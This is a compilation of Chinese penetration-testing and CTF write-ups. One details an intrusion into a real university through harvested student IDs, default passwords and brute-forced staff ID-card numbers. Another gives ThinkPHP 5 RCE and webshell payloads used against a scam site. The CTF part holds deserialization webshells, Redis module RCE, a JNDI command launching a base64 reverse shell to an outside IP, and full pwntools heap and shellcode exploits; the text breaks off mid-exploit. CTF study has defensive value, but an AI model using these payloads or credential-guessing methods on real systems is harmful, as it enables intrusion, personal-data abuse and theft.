  23. 0x01 信息搜集首先给定的目标为 xxx 大学官网:www.xxx.edu.cn,但是不要真的就只是对主站进行测试了,一般像这种主站都是比较安全的,大概率采用一些站群系统,像学校很多使用博达的统一管理,自带 waf 1.子域名采集可以通过 subdomain3,fuzzdomain,subDomainsBrute,seay 子域名爆破 但是上述的我在此次渗透中并未使用,爆破时间太长了. 我用的 fofa,shadon 这些个网络空间搜索引擎 比如下图: host="xxxx.edu.cn" 2.端口信息通过上面 fofa 的结果,得知 ip 地址,使用端口扫描工具扫描。未发现可利用端口 然而很多站点的 ip 都是这个,感觉像是做的反向代理 遂放弃端口 3.敏感信息搜集github 搜索google hacking凌风云网盘搜索然后并没有搜集到一些敏感的东西 邮箱使用的是腾讯的企业邮箱,vpn 是这个样子的 然后搜集到的部分邮箱账号如下图 通过浏览网站,搜集到部分内网系统 通过查看统一认证平台的提示和部分社工得知 学生用学号加身份证后 6 位 (默认密码) 可以登陆 于是呢 俺搜集了一波学号备用 site:xxx.edu.cn 学号 0x02 漏洞挖掘搜集了部分需要的信息,就开始对着各个子域名进行挖掘了,找了半天,大部分的系统都是采用的统一的模板,功能比较单一,并未发现什么漏洞 site:xxx.edu.cn inurl:login site:xxx.edu.cn intitle:登陆 然后我便把重心放在了一些登陆系统上 然后找到了一处系统登陆 此时我记住了他的提示,用户名和密码为自己的工号,那么就是说这里面可能会有一些教师的工号信息,而正好运气不错,这个系统的系统管理员账号是个弱口令 admin&admin 进入后台后,找到用户信息,得知教师账号为 5 位的数字,可以看到地址栏有 action,我测试了 str2,然后我在刷新网页 打不开了,目测被封 ip... 然后知道了用户规则,就写个脚本做字典备用 #!/usr/bin/env python # -*- coding:utf-8 -*- # datetime :2019/7/10 8:44 begin_num = 0 # 开始参数 从第几个数字开始生成 end_num = 20000 # 结束参数 到第n个参数停止 print(""" 运行该脚本后,会在脚本所在目录生成5.txt ,里面存放的是生成好的数字 """) for i in range(begin_num, end_num + 1): if i < 10: i = "0000" + str(i) elif i < 100: i = "000" + str(i) elif i < 1000: i = "00" + str(i) elif i < 10000: i = "0"+str(i) with open("5.txt", 'a') as f: f.write(str(i) + "\n") print("程序运行完毕,文件已生成") 然后就是在这个后台找注入啊 ,上传啊,无果,遂记录在文本,换另外的域名 然后看到选课系统 就是用学号做账户密码,成功登陆进去 貌似没什么用,但是这个我蛋疼的是,测试上传的时候,改了个脚本格式的后缀,死活发不出去数据包,结果回到网页刷新,链接被重置... 没错 我 ip 又被 ban 了... 然后我在尝试爆破了一下教师账户,同样是账户做密码 进去后,四处看了看,还是没能取的什么进展 用同样的办法,我进入了研究生管理系统、学生缴费查询系统 (还真就是只查询..)、最后在财务 xx 系统中稍微得到部分进展 是的 ,没看错,身份证号码,于是我智障的试了 100 次,拿下了 14 个存在身份证的教师账户,不过貌似都是一些退休的教师,权限应该很低或者完全进不去 然后我来到了统一身份认证平台去试着登陆,结果登陆进去了..(教务登陆不进去) 于是在这里开始,算是有了突破。因为这里的部分系统没有认证是无法打开的,比如这次的突破点:公寓管理系统 认证前打开: 认证后打开: 果然没权限... 点击重新登陆,就可以访问这个系统 于是也证明了,这个系统只能是登陆过统一认证平台的用户才能使用。然后恰巧这个系统存在一个 java 的反序列化漏洞 于是通过这个反序列化漏洞 (shiro 反序列化),获得了一个反弹 shell,机器为 root 权限 然后后面的就是代理流量啦,用的狗洞,就不多浪费口舌了... 然后发现一个从未见过的 waf 惊奇,二爷守的站,撤了撤了 ,对不起,打扰了。0x03 总结1.信息收集子域名:fofa(host="xxxx.edu.cn")端口收集:御剑扫描工具,网站采用反向代理端口只允许443或者80端口出网敏感信息收集:1.github收集(无源代码泄露和邮箱泄露)2.凌风云网盘搜索(无百度网盘和腾讯网盘等敏感信息)3.goog hack收集到学号:site:xxx.edu.cn 学号登录:site:xxx.edu.cn inurl:login 或者 site:xxx.edu.cn intitle:登陆2.预览官网主页链接获得其他子域名系统、以及邮箱账号3.发现统一认证平台采用工号和身份证后6位数登录4.发现资产与实验室平台使用工号作为用户名和密码,这里可以通过弱口令admin,admin进入系统得到教师工号以及该系统存在struts2漏洞,被WAF拦截5.发现选课中心,采用账号和密码都是学号和教师工号可进入系统。改系统存在文件上传,也被WAF拦截6.其他系统如研究生管理系统、学生缴费查询系统、财务 xx 系统 都存账号和密码都是工号的可进入系统,可收集到教师账号绑定的身份证号码。7.得到教师账号和身份证号码可进入统一认证平台。可登录到宿舍管理系统(前提需要先登录统一认证系统)8.宿舍管理系统存在shiro反序列漏洞,但是只能远程反弹NC 原文链接: https://www.xljtj.com/archives/dxst.html
  24. 最近接到任务,调查一个诈骗团伙 上面有一个注册接口,直接先注册一个用户看看他们怎么诈骗的 好家伙,用户赚了8个亿,充值过的用户直呼内行。 这种站点一看就是那种诈骗团伙的杀猪盘,使用的那种tp5的框架一键搭建,方便又省事。后来根据报错信息的确是tp5.0.10的框架还开了debug模式,老杀猪盘了。 直接先用tp5rce打出phpinfo看 s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo 看来禁的函数比较多,这个时候用tp5的rce和写shell就比较困难,使用tp5日志包含和session包含来getshell就十分的方便。 日志包含还需要去找文件,我这里就直接是session包含来getshell 先通过设置session会话并传入一句话木马 ?s=captcha _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1 然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid ?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo(); 这个时候我们就可以通过蚁剑连上shell了 需要把post传入的参数加在蚁剑连接的http body里面 连上后通过找到config下的database.php找到数据库密码账号 里面还有财务和技术的联系方式 直接登陆后台 好家伙,会员数30人,还有400多个机器人,金额在后台可以随便修改,太欺负人了。 打到这里总感觉信息还有点少啊,只有几个手机号,还有诈骗团伙的用来收款的银行卡,于是我又在运营站上面收集信息,原来客服的站点是其他服务器上面 通过目录扫描找到客服后台 试了一下弱口令,居然连admin这个用户都没有,这管理员意识还挺好的。 拿出我珍藏的字典爆破了一下,也没有发现存在的用户,我猜测他的用户名要么是电话号码,要么就是很长的用户名。 看来进后台是不行的了 然后通过ip反查发现也没有旁站,这个站点只有这个客服系统 扫了一下子域名也没有任何的发现 但是页面下面有一个Powered by 爱客服PHP在线客服系统,我觉得网上应该是有源码的,就去百度了一下,还真有源码。 网站是基于tp二次开发的,但是tp的rce已经没有了。 只有一步步的审计了 翻了很久在application/admin/controller/Event.php文件中找到了一处基于黑名单的上传函数uploadimg 定义一个上传函数uploadimg,然后定义一个变量name来获取到文件名,并用一个点以数组的方式隔开,而通过变量ext来获取到数组的第二个作为检测,当文件传入index.html,$ext=html,html在黑名单内所以就上传不成功,如果是文件传入index.jpg.php,$ext=jpg,jpg没有在黑名单,所以就可以上传成功。 根据tp的路由规则这个上传点应该在/admin/event/uploadimg这个位置 它这个页面没有上传点,只有自己构造一个上传页面了 <form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data"> <label for="file">晨光客服上传</label> <input type="file" name="editormd-image-file" id="editormd-image-file"> <input type="submit" name="submit" value="submit"> </form> 如果是上传index.php的话 的确是上传不成功的 如果是上传index.jpg.php 是可以上传成功的 拿下该客服站点 打包后台数据交给jc 在这里呼吁大家千万别相信什么刷单的,叫你充值就可以领钱的,都是假的,千万别想一夜暴富,占什么小便宜,天下没有免费的午餐。这里放几张图给大家看一下 这些诈骗团伙还理直气壮,有理有据,只会叫你越充越多,典型的杀猪盘 渗透总结: 1.注册一个测试账号 2通过报错,发现是tp5.0..10 3.使用TP5RCE查看phpinfo s=captcha post: _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo 发现危险函数被禁用了 4.使用tp5日志包含和session包含来getshell 5.通过设置session会话并传入一句话木马 ?s=captcha post: _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1 6.利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid ?s=captcha post: _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo(); 7.通过蚁剑连上shell,需要把post传入的参数加在蚁剑连接的http body里面 8.通过后台源码查看发现客户服务后台。 9.发现服务后台为爱客服PHP在线客服系统,该系统存在文件上传漏洞 /admin/event/uploadimg <form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data"> <label for="file">晨光客服上传</label> <input type="file" name="editormd-image-file" id="editormd-image-file"> <input type="submit" name="submit" value="submit"> </form> 原文链接: https://xz.aliyun.com/t/9286
  25. Web 1.esay_eval<?php class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; } } class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); } }else{ highlight_file(__FILE__); } 简单分析一下主要绕过那个__wakeup函数就可以rce了 关于preg_match_all这个函数看这篇文章php preg_match_all()函数介绍与用法 - 飞鸟慕鱼博客 (feiniaomy.com) 最后要让$ret[1]里面的两个变量都等于1,因为他后面还有个intval($i)!==1的限制,(这个用大小写绕过就行了,因为php的变量名区分大小写,函数名、方法名、类名不区分大小写。)因为必须要绕过wakeup,所以用小写不让preg_match_all两个都匹配,放出来一个去绕过wakeup就可以了。 构造payload <?php class A{ public $code = ""; public function __construct(){ $this->code = "eval(\$_POST[1]);"; } } class B{ public function __construct(){ $this->a = new A(); } } echo serialize(new B()); $前面加\是怕序列化的时候执行了变成这样 得到O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},把A改为小写,即可修改后面数字来绕过即O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},连接蚁剑拿到shell 代码审计,直接反序列化构造一句话木马 小写对象a绕过 payload ?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[0]);";}} 蚁剑连接发现有disable_function,试了下蚁剑自带的bypass无果,然后在网站根目录发现了 有 config.php.swp vi-r 解一下发现 redis 密码 github 上有 redis rce 的恶意 so 文件上传到 tmp 目录下然后用蚁剑 redis 插件加载恶意模块rce Redis加载恶意so获取shell 蚁剑找到了一个config,恢复一下 下载下来丢到linux用vi恢复 vi -r config.php 这个redis密码看着太像假的了,但就是真的,用蚁剑的redis插件连接 接着就是打redis,在phpinfo发现有open_basedir,有个tmp还能用,那就把恶意so传上去 https://github.com/Dliv3/redis-rogue-server 直接用蚁剑 使用redis插件连接redis 127.0.0.1:6379> module load /tmp/exppadding.so OK 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n 附上本地环境“: FROM ubuntu:16.04 COPY src/sources.list /etc/apt/sources.listCOPY src/redis-4.0.9 /home/redis-4.0.9 RUN apt-get update && \ apt-get install -y curl \ software-properties-common \ python3-software-properties \ python-software-properties \ unzip \ vim RUN apt-get install -y apache2RUN service apache2 restart RUN locale -aRUN export LANG=C.UTF-8 && \ add-apt-repository ppa:ondrej/php && \ apt-get update RUN apt-get install -y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7.0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip RUN apt install -y gcc \ make RUN cd /home/redis-4.0.9 &&\ cp -r /home/redis-4.0.9 /usr/local/redis &&\ cd /usr/local/redis &&\ make && make PREFIX=/usr/local/redis install &&\ export REDIS_HOME=/usr/local/redis &&\ export PATH=$PATH:$REDIS_HOME/bin COPY src /tmp/srcRUN mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini &&\ rm -rf /var/www/html &&\ mv /tmp/src/html /var/www/html &&\ mv /tmp/src/start.sh /start.sh &&\ chmod +x /start.sh EXPOSE 80 CMD ["/start.sh"] 其中web.ini就是php的配置文件,可以在里面设置disable_function等 2.jackson原题不说了嗷 https://www.redmango.top/article/61#javaweb 先看题目给的pom.xml 有shiro1.5.1,cc3.2.1题目名字叫jackson 那么应该就是shiro验证绕过访问路由通过jackson反序列化打cc链 发现有json路由需要登陆通过/;/json绕过 那么就直接上工具:https://github.com/welk1n/JNDI-Injection-Exploit java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "47.100.27.114" -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwODggMD4mMQ==}|{base64,-d}|{bash,-i}' 或者看到pom.xml里面的框架版本可以想到CVE-2020-1957 jackson反序列化 + JNDI注入 + LDAP返回序列化数据触发本地Gadget Bypass jdk 8u_191限制4 POST /;/json HTTP/1.1 Host: 8.134.37.86:20947 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/json Content-Length: 97 ["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://106.15.250.209:8091/a bc"}] Nc得到了反弹,直接获取根目录的flag即可 3.ezTP通过robots.txt 得到www.zip 源代码: 目录结构: 很明显的TP框架 查看版本得到:5.0.10 一开始尝试TP框架的RCE,无果。遂放弃 然后查看Controller有一个index和admin: Admin控制器: Index控制器: 看起来 好像没什么问题。 但是可以看到,必须要登录admin才可以进行admin控制器里面的上传和列目录操作 故肯定是要注入,百度搜索到了 该版本的TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html 注入登录admin账户: 然后查看admin控制器的listdir 可以发现is_dir函数是可以触发phar反序列化的。 参考:https://www.anquanke.com/post/id/251318#h2-1 但是会发现使用如上链接的poc,与网上的poc均不可用。 本地搭建环境调试了一下,发现: Process.php的close方法: 与原来的tp框架不一样,多增加了一个if来过滤,因为原本的 HasMany 类并没有close方法,导致没办法调用$this->processPipes->close()方法,就无法进行下面的反序列化写文件RCE了,所以网上的POC就会没用。 现在需要做的是需要一个有close方法的类,并且内部需要调用成员变量的close方法。 这样就可以绕过过滤,并且可以继续反序列化。 在这里我找到了Memcache类, 只要将原来的链子 接入到$this->handler 变量里面去,就可以继续下去反序列化了。 但是通过调试: 这个path路径,写下去找不到文件。所以我改成了绝对路径,写到public目录下 反序列化POC: <?phpnamespace think;use think\session\driver\Memcache;class Process{ private $processPipes; private $status; private $processInformation; public function __construct(){ $this->processInformation['running']=true; $this->status=3; $this->processPipes=(new Memcache(1)); } } namespace think; class Model{ } namespace think\model; use think\Model; class Merge extends Model{ public $a='1'; public function __construct(){ } } namespace think\model\relation;use think\console\Output;use think\db\Query;use think\model\Merge;use think\model\Relation;class HasMany extends Relation{ //protected $baseQuery=true; protected $parent; protected $localKey='a'; protected $foreignKey='a'; protected $pivot; public function __construct(){ $this->query=new Output(); $this->parent= new Merge(); }} namespace think\model;class Relation{}namespace think\db;class Query{} namespace think\console;class Output{ protected $styles = [ 'info', 'error', 'comment', 'question', 'highlight', 'warning', 'getTable', 'where' ]; private $handle; public function __construct(){ $this->handle = (new \think\session\driver\Memcache(0)); }}namespace think\session\driver;class Memcache{ protected $handler; public function __construct($i){ if($i==0){ $this->handler = (new \think\cache\driver\Memcached(0)); }else{ $this->handler = (new \think\model\relation\HasMany); } }} namespace think\cache\driver; class Memcached{ protected $tag; protected $options; protected $handler; public function __construct($i){ if($i==0){ $this->tag = true; $this->options = [ 'expire' => 0, 'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+', ]; $this->handler = (new File); } }} class File{ protected $tag; protected $options; public function __construct(){ $this->tag = false; $this->options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'data_compress' => false, 'path' => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/', ]; }} $o = new \think\Process(); $phar = new \Phar("test.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stubb$phar->setMetadata($o); //将自定义的meta-data存入manifest里$phar->addFromString("test.txt", "test"); // 添加要压缩的文件$phar->stopBuffering(); // 签名自动计算需要添加GIF89A 头来绕过检测图片格式。 保存jpg上传头像,然后: http://8.134.37.86:24954/public/? s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg 最后访问shell 拿flag: PWN1.chaos首先是一个输入,输入完之后逻辑比较长,我们一点一点分析。首先是一个大的while循环。while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) ) { if ( v8 <= 5 ) *((_QWORD *)&unk_202060 + 2 * v8) = a1; sb = strchr(a1, 58); if ( !sb ) { puts("error."); exit(1); } *sb = 0; for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc ) *sc = 0; if ( !*sc ) { puts("abort."); exit(2); } if ( v8 <= 5 ) qword_202068[2 * v8] = sc; sd = strchr(sc, 10); if ( !sd ) { puts("error."); exit(3); } *sd = 0; a1 = sd + 1; if ( *a1 == 13 ) *a1++ = 0; s1 = (char *)*((_QWORD *)&unk_202060 + 2 * v8); nptr = (char *)qword_202068[2 * v8]; if ( !strcasecmp(s1, "opcode") ) { if ( v7 ) { puts("error."); exit(5); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "passwd") ) { puts("error."); exit(4); } if ( strlen(nptr) <= 1 ) { puts("error."); exit(5); } v9 = strlen(nptr) - 1; if ( dest ) { puts("error."); exit(5); } dest = calloc(v9 + 8, 1uLL); if ( v9 <= 0 ) { puts("error."); exit(5); } memcpy(dest, nptr, v9); } ++v8; }说白了就是对我们的输入进行要求,要求opcode:1就是功能1,然后功能里面有密码,需要用passwd来用功能1举例,完整的一个create输入是“opcode:1\npasswd:Cr4at3a\n”那我们再来看功能create需要一个大小,最大0x208,创建的chunk是0x210,最后两个QWORD分别是大小跟一个指针。这个指针会把我们所有的chunk串起来,构成一个单链表的状态,链表头放在bss有漏洞,在哪?在我们写的时候居然可以把size覆盖掉,第一次覆盖掉,第二次就可以溢出。edit show delete 剩下三个函数就平平无奇。我们就利用那个溢出,首先泄露libc,之后直接攻击tcache打free_hook就好啦Vulnerability: 00000000 node struc ; (sizeof=0x211, mappedto_8) 00000000 field_0 db 512 dup(?) 00000200 size dd ? 00000204 field_204 dd ? 00000208 next dq ? ; offset 00000210 field_210 db ? 00000211 node ends As above, it set the size to 0x208 over the length of buf. So it follows that we can result in heap overflow. void __fastcall add(const char *a1) { int size; // [rsp+14h] [rbp-2Ch] node *buf; // [rsp+18h] [rbp-28h] node *tmp_link; // [rsp+20h] [rbp-20h] char s[12]; // [rsp+2Ch] [rbp-14h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); if ( strcmp(a1, "Cr4at3") ) { puts("error."); exit(5); } printf(">>> "); memset(s, 0, sizeof(s)); read(0, s, 0xBuLL); size = atoi(s); if ( size <= 0 || size > 0x208 ) { puts("error."); exit(5); } buf = (node *)malloc(0x210uLL); buf->next = 0LL; tmp_link = node_link; node_link = buf; buf->next = tmp_link; buf->size = size; printf(">>> "); read(0, buf, (unsigned int)buf->size); } Exploit: 1.leak2.hijack hook3.get shell #!/usr/bin/python3 # -*- coding:utf-8 -*- from pwn import * import os, struct, random, time, sys, signal context.arch = 'amd64' # context.log_level = 'debug' # sh = process('./chaos') sh = remote('8.134.97.12', 25036) def add(content): sh.sendlineafter(b'>>> ', b'opcode:1\npasswd:Cr4at3 \n') sh.sendafter(b'>>> ', b'520') sh.sendafter(b'>>> ', content) def show(offset): sh.sendlineafter(b'>>> ', b'opcode:2\npasswd:SH0w \n') sh.sendafter(b'>>> ', str(offset).encode()) def edit(offset, content): sh.sendlineafter(b'>>> ', b'opcode:3\npasswd:Ed1t \n') sh.sendafter(b'>>> ', str(offset).encode()) sh.sendafter(b'>>> ', content) def delete(offset): sh.sendlineafter(b'>>> ', b'opcode:4\npasswd:D3l4te \n') sh.sendafter(b'>>> ', str(offset).encode()) for i in range(9): add(b'a') for i in range(9): delete(0) for i in range(7): add(b' ') add(b'b' * 8) show(0) sh.recvuntil(b'bbbbbbbb') libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x3ebeb0 success('libc_addr: ' + hex(libc_addr)) for i in range(8): delete(0) add(b' ') add(b' ') delete(0) edit(0, b'\0' * 0x200 + p32(0x1000)) edit(0, b'\0' * 0x200 + p64(0x1000) + b'\0' * 0x38 + p64(libc_addr + 0x3ed8e8 - 8)) add(b' ') add(b'/bin/sh\0' + p64(libc_addr + 0x4f550)) delete(0) sh.interactive() # flag{Arb1Tr4ry_Re4d_Wr1t3_1n_L1nkl1st} # flag{c6MsFlPDHqkb0mAr2oeTV4UuCLNB7KOv} 2.ezshell逻辑简单,开了一个可以rwx的页,我们输入一段shellcode,绕过一些检查,开了沙箱,最后执行它。一点一点来,首先我们输入shellcode之后函数__ctype_b_loc函数是干嘛的?我们去读源码,在ctype/ctype.h#ifndef _ISbit/* These are all the characteristics of characters. If there get to be more than 16 distinct characteristics, many things must be changed that use `unsigned short int's. The characteristics are stored always in network byte order (big endian). We define the bit value interpretations here dependent on the machine's byte order. */ # include <bits/endian.h># if __BYTE_ORDER == __BIG_ENDIAN# define _ISbit(bit) (1 << (bit))# else /* __BYTE_ORDER == __LITTLE_ENDIAN */# define _ISbit(bit) ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))# endif enum{ _ISupper = _ISbit (0), /* UPPERCASE. */ _ISlower = _ISbit (1), /* lowercase. */ _ISalpha = _ISbit (2), /* Alphabetic. */ _ISdigit = _ISbit (3), /* Numeric. */ _ISxdigit = _ISbit (4), /* Hexadecimal numeric. */ _ISspace = _ISbit (5), /* Whitespace. */ _ISprint = _ISbit (6), /* Printing. */ _ISgraph = _ISbit (7), /* Graphical. */ _ISblank = _ISbit (8), /* Blank (usually SPC and TAB). */ _IScntrl = _ISbit (9), /* Control character. */ _ISpunct = _ISbit (10), /* Punctuation. */ _ISalnum = _ISbit (11) /* Alphanumeric. */};#endif /* ! _ISbit */意思就是将我们输入的字符,根据((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))进行处理,然后根据下面对应的进行返回。我们稍加分析之后会得到一个表。所以要求我们&0x4000不等于0的意思就是要求的是可见字符,这个简单,我们最后的shellcode用ae64处理一下就可以了。继续往下读,会有两个prctl。第一个我们经常见,很熟悉,就是把execve给ban掉而已。第二个很有意思,它会不让我们dump信息以及不给我们调试。就是我们gdb调试调到那一步会直接崩掉seccomp-tools dump ./binary也会崩掉。虽然说我们可以用进入root权限避免这个事情,但是在我们用gdb.attach去进行调试的时候还是会有很多问题,我们无法在root权限下调试。所以我们在这里考虑直接将程序的那一句给patch掉。非常牛,省的它麻烦我们。然后就可以正常看看沙箱干了点啥。沙箱显示呢我们的系统调用只有两个,open跟read,而且read有条件,fd必须大于等于4.我们分开解决,首先解决没有write的问题。在蓝帽杯决赛的silent跟强网杯的shellcode中都有过这个问题,我们就是简单的利用侧信道攻击,说白了就是通过爆破,当我们把flag读出来之后,我们一个字符一个字符去进行爆破比较,如果命中,就跳进死循环,如果跳进死循环,检测出来,就证明我们命中,从而进行爆破。但是这有引出一个问题,我们命中的话就跳进死循环,那没命中呢?如果直接不管,那个它也会卡住,会被程序认为命中,如果我们调用exit,但是沙箱不允许我们那样做,怎么处理这个问题?我们只要利用沙箱并不让我做这个事情解决,我们就来一个不让做的系统调用,他会报错,Bad system call。然后结束程序,那么我们的要求就达到了。还有一个问题,就是read函数fd的问题,这个就好解决了,我们只要把flag文件多开几次就好啦。Run shellcode #!/usr/bin/python3 # -*- coding:utf-8 -*- from pwn import * import os, struct, random, time, sys, signal context.arch = 'amd64' context.log_level = 'error' # sh = process('./ezshell') sh = remote('8.134.37.86', 28310) shellcode = asm(''' xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall loop1: test rax, rax js loop1 mov edi, eax xor eax, eax mov rsi, rsp mov edx, 0x01010101 syscall xor eax, eax xor ebx, ebx mov al, %d mov bl, [rsp+rax] sub bl, %d loop2: test rbx, rbx jz loop2 int3 ''' % (int(sys.argv[1]), int(sys.argv[2]))) open('./shellcode', 'wb').write(shellcode) encode_shellcode = os.popen('cd alpha3; python2 ALPHA3.py x64 ascii mixedcase rdx --input=../shellcode ;') sh.sendafter(b'shellcode?\n', encode_shellcode.read()) now = time.time() sh.recvrepeat(5) diff = time.time() - now if(diff > 4): print('yes') # flag{Orpwn2jARhxISTsEvzuY1lVZa8WCXkb5} 或者from pwn import *from ae64 import AE64 # p = remote("8.140.177.7", 40334)context(os="linux", arch="amd64")#context.log_level = "debug"context.terminal= ['tmux','splitw','-h']map_addr = 0x10000flag_addr = 0x10100 def exp(offset, ch): code = asm( """ push 0x67616c66 mov rdi, rsp xor edx, edx xor esi, esi push SYS_open pop rax syscall push SYS_open pop rax syscall push SYS_open pop rax syscall push SYS_open pop rax syscall xor eax, eax push 6 pop rdi push 0x50 pop rdx mov rsi, 0x10100 syscall mov dl, byte ptr [rsi+{}] mov cl, {} cmp cl, dl jz loop mov al,231 syscall loop: jmp loop """.format(offset, ch) ) obj = AE64() sc = obj.encode(code,'rdx') print sc p.recvuntil("Are you a master of shellcode?\n") p.send(sc) flag = ""for i in range(len(flag),50): sleep(1) log.success("flag : {}".format(flag)) for j in range(0x100): p = process('./chall') try: exp(i,j) p.recvline(timeout=1) flag += chr(j) p.send('\n') log.success("{} pos : {} success".format(i,chr(j))) log.success(flag) p.close() break except: p.close() 3.overheapVulnerability: Just off-by-null, as we can be seen from the challenge hint. Exploit: 1.leak libc and heap address information2.chunk overlap3.hijack stdout to leak stack address information4.hijack stack5.ROP and run shellcode #!/usr/bin/python3 # -*- coding:utf-8 -*- from pwn import * import os, struct, random, time, sys, signal context.arch = 'amd64'] # context.log_level = 'debug' # sh = process('./overheap') sh = remote('8.134.51.71', 22213) def add(size): sh.sendlineafter(b'>> ', b'1') sh.sendlineafter(b'Size:', str(size).encode()) def show(index): sh.sendlineafter(b'>> ', b'2') sh.sendlineafter(b'id:', str(index).encode()) def edit(index, content, raw=False): sh.sendlineafter(b'>> ', b'3') sh.sendlineafter(b'id:', str(index).encode()) if(raw): sh.sendafter(b'Content:', content) else: sh.sendlineafter(b'Content:', content) def delete(index): sh.sendlineafter(b'>> ', b'4') sh.sendlineafter(b'id:', str(index).encode()) add(0x18) add(0x500) add(0x18) add(0x510) add(0x18) delete(1) delete(3) add(0x600) add(0x500) show(3) result = u64(sh.recvn(8)) libc_addr = result - 0x2190f0 success('libc_addr: ' + hex(libc_addr)) heap_addr = u64(sh.recvn(8)) - 0x7e0 success('heap_addr: ' + hex(heap_addr)) add(0x510) add(0xf8) add(0x590) edit(7, b'\0' * 0x4f0 + p64(0x21) * 14) edit(6, p64(0) + p64(0xf1) + p64(heap_addr + 0x1340) + p64(heap_addr + 0x1340) + b'\0' * 0xd0 + p64(0xf0), 1) delete(7) add(0x68) add(0x68) delete(8) delete(7) stdout = libc_addr + 0x219760 environ = libc_addr + 0x220ec0 next_key = ((heap_addr + 0x1000) >> 0xc) ^ (stdout) edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key)) add(0x68) add(0x68) add(0x68) edit(8, p64(0xfbad2887|0x1000) + p64(0) * 3 + p64(environ) + p64(environ+8) * 2) stack_addr = u64(sh.recvn(8)) success('stack_addr: ' + hex(stack_addr)) delete(9) delete(7) offset = +0 next_key = ((heap_addr + 0x1000) >> 0xc) ^ ((stack_addr-0x180 + offset)&(~0xf)) edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key)) add(0x68) add(0x68) layout = [ libc_addr + 0x000000000002e6c5, #: pop rdi; ret; stack_addr & ~(0xfff), libc_addr + 0x0000000000030081, #: pop rsi; ret; 0x2000, libc_addr + 0x00000000001221f1, #: pop rdx; pop r12; ret; 7,0, libc_addr + 0x0000000000049f00, #: pop rax; ret; 3, libc_addr + 0x000000000008139b, #: add eax, edx; ret; libc_addr + 0x0000000000095186, #: syscall; ret; stack_addr-0xc0, ] shellcode = asm(''' ;// mov rax, 0x7478742e67616c66 ;// flag.txt ;// mov rax, 0x67616c662f ;// /flag mov rax, 0x67616c66 ;// flag push 0 push rax mov rdi, rsp xor esi, esi mov eax, 2 syscall cmp eax, 0 js fail mov edi, eax mov rsi, rsp add rsi, 0x200 push 